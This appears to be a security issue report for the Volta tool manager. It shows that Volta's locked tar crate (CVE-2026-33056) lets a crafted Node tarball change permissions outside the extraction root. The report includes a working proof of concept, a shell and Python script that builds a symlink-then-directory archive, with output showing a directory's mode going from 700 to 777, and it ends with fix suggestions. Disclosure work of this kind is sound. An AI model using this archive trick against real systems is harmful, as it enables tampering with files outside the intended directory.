Volta locks vulnerable `tar` crate version and its Node archive unpack path can chmod outside the extraction root
Volta locks vulnerable tar crate version and its Node archive unpack path can chmod outside the extraction root
Summary
Volta currently locks the Rust tar crate at 0.4.38, which is in the affected range for CVE-2026-33056 / RUSTSEC-2026-0067. The Volta archive crate calls tar::Archive::unpack(dest) for Unix Node distribution tarballs, and I can reproduce the CVE behavior through Volta's own crates/archive API: a crafted tarball changes permissions on a directory outside the chosen extraction root.
I fetched origin/main on 2026-06-19 and tested the latest upstream commit:
5eedd5fb2f682baceb47a242289111fcd79435a5 (2025-11-15T08:59:36-07:00)
Details
Relevant code path:
Cargo.locklines1445-1449:taris locked to0.4.38.crates/archive/src/tarball.rslines60-68:Tarball::unpack()wraps the gzip stream intar::Archive::new(decoded)and callstarball.unpack(dest).crates/volta-core/src/tool/node/fetch.rslines91-109: Node distribution archives are unpacked into a staging directory by callingarchive.unpack(temp.path(), ...).crates/volta-core/src/tool/node/fetch.rsline142: the cached distro path still has a TODO comment for checksum verification.crates/volta-core/src/tool/node/fetch.rslines152-167: anode.distrohook can determine the Node distribution URL; otherwise Volta useshttps://nodejs.org/dist.
Root cause:
Volta delegates Unix tarball extraction to tar 0.4.38. In tar versions 0.4.44 and below, a tar archive containing a symlink entry followed by a directory entry with the same name can cause tar to follow the symlink and apply directory permissions to the symlink target outside the extraction root. Since Volta calls the affected tar::Archive::unpack() path for Node tarballs, the dependency vulnerability is reachable through Volta's archive abstraction.
References:
- https://rustsec.org/advisories/RUSTSEC-2026-0067.html
- https://github.com/advisories/GHSA-j4xf-2g29-59ph
- https://nvd.nist.gov/vuln/detail/CVE-2026-33056
Reproduction
This reproducer uses a fresh checkout and calls the real archive::Tarball::unpack() API. It creates a tar.gz with two entries:
chmod_targetas a symlink tooutside-dirchmod_target/as a directory entry with mode0777
set -euo pipefail
git clone https://github.com/volta-cli/volta.git volta-repro
cd volta-repro
git checkout 5eedd5fb2f682baceb47a242289111fcd79435a5
mkdir -p crates/archive/examples
cat > crates/archive/examples/cve_33056.rs <<'RS'
use archive::Tarball;
use std::env;
use std::fs::File;
use std::os::unix::fs::PermissionsExt;
use std::path::Path;
fn mode(path: &Path) -> u32 {
std::fs::metadata(path).unwrap().permissions().mode() & 0o777
}
fn main() {
let args: Vec<String> = env::args().collect();
let archive_path = Path::new(&args[1]);
let dest = Path::new(&args[2]);
let outside = Path::new(&args[3]);
println!("BEFORE_MODE={:o}", mode(outside));
let archive = Tarball::load(File::open(archive_path).unwrap()).unwrap();
archive.unpack(dest, &mut |_, _| {}).unwrap();
println!("AFTER_MODE={:o}", mode(outside));
println!(
"DEST_LINK_IS_SYMLINK={}",
std::fs::symlink_metadata(dest.join("chmod_target"))
.unwrap()
.file_type()
.is_symlink()
);
}
RS
tmp="$(mktemp -d)"
cleanup() {
rm -rf "$tmp"
}
trap cleanup EXIT
mkdir -p "$tmp/src" "$tmp/out" "$tmp/outside-dir"
chmod 700 "$tmp/outside-dir"
ln -s ../outside-dir "$tmp/src/chmod_target"
python3 - "$tmp/poc.tar.gz" "$tmp/src/chmod_target" <<'PY'
import io
import sys
import tarfile
archive_path, link_path = sys.argv[1], sys.argv[2]
with tarfile.open(archive_path, "w:gz") as tar:
link = tarfile.TarInfo("chmod_target")
link.type = tarfile.SYMTYPE
link.linkname = "../outside-dir"
link.mode = 0o777
tar.addfile(link)
directory = tarfile.TarInfo("chmod_target")
directory.type = tarfile.DIRTYPE
directory.mode = 0o777
tar.addfile(directory)
PY
cargo run \
--manifest-path crates/archive/Cargo.toml \
--example cve_33056 \
-- "$tmp/poc.tar.gz" "$tmp/out" "$tmp/outside-dir"
cargo tree --manifest-path crates/archive/Cargo.toml -i tarExpected Behavior
Unpacking a tarball into a staging directory should not change permissions on directories outside that staging directory. Volta should either use a patched tar crate version or add extraction guards that prevent symlink-target metadata changes outside the extraction root.
Observed Behavior
The outside directory starts as mode 0700 and ends as mode 0777 after Volta's Tarball::unpack() returns:
BEFORE_MODE=700
AFTER_MODE=777
DEST_LINK_IS_SYMLINK=true
tar v0.4.38This reproduces the CVE-2026-33056 primitive through Volta's current archive crate.
Impact
A malicious Node distribution tarball processed by Volta can change permissions on a directory outside Volta's extraction root. In normal operation Volta downloads Node distributions from https://nodejs.org/dist, but Volta also supports a node.distro hook for the distribution URL and has cached archive loading paths. The practical risk is highest when a malicious or compromised distribution source, cache entry, or configured distro hook supplies the tarball.
Suggested Fix Direction
- Upgrade
tarto0.4.45or later. - Add a regression test in
crates/archivefor the symlink-then-directory tarball shape above. - Consider enforcing extraction-root containment before applying metadata from archive entries, especially for symlinks and hardlinks.
Source: volta-cli/volta